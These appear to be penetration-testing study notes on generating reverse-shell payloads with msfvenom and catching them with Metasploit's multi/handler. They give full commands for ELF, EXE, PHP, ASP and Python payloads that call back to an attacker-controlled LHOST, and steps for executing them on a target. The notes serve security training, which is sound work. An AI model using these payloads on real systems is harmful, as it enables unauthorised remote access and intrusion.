Msfvenom
Msfvenom, which replaced Msfpayload and Msfencode, allows you to generate payloads. Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).
Output formats
You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). Themsfvenom --list formats command can be used to list supported output formats
Encoders
Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, they encode the payload. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem. The example below shows the usage of encoding (with the -e parameter. The PHP version of Meterpreter was encoded in Base64, and the output format was raw.
-o parameter specifies the output location and filename for the generated payload.
Handlers
it catches reveres shells.
Please note: The output PHP file will miss the starting PHP tag commented and the end tag (?>), as seen below.
The reverse_shell.php file should be edited to convert it into a working PHP file.
Below: Comments removed from the beginning of the file.
Below: End tag added
We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.
Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells.
To use the module, we will need to set the payload value (php/reverse_php in this case), the LHOST, and LPORT values.
Once everything is set, we will run the handler and wait for the incoming connection.
Waiting for the reverse shell
When the reverse shell is triggered, the connection will be received by multi/handler and provide us with a shell.
If the payload was set as Meterpreter (e.g. in a Windows executable format), multi/handler would then provide us with a Meterpreter shell.
exploit -j command runs the handler in the background
Other Payloads
Based on the target system's configuration (operating system, install webserver, installed interpreter, etc.), msfvenom can be used to create payloads in almost all formats. Below are a few examples you will often use:
In all these examples, LHOST will be the IP address of your attacking machine, and LPORT will be the port on which your handler will listen.
Linux Executable and Linkable Format (elf)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
The .elf format is comparable to the .exe format in Windows. These are executable files for Linux. However, you may still need to make sure they have executable permissions on the target machine. For example, once you have the shell.elf file on your target machine, use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by typing ./shell.elf on the target machine command line.
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
All of the examples above are reverse payloads. This means you will need to have the exploit/multi/handler module listening on your attacking machine to work as a handler. You will need to set up the handler accordingly with the payload, LHOST and LPORT parameters. These values will be the same you have used when creating the msfvenom payload.
example:
we can make an elf file and upload/download it to the target machine and run it, then catch the shell via meterpreter. then we can continue enumerating (post explotation) or ...
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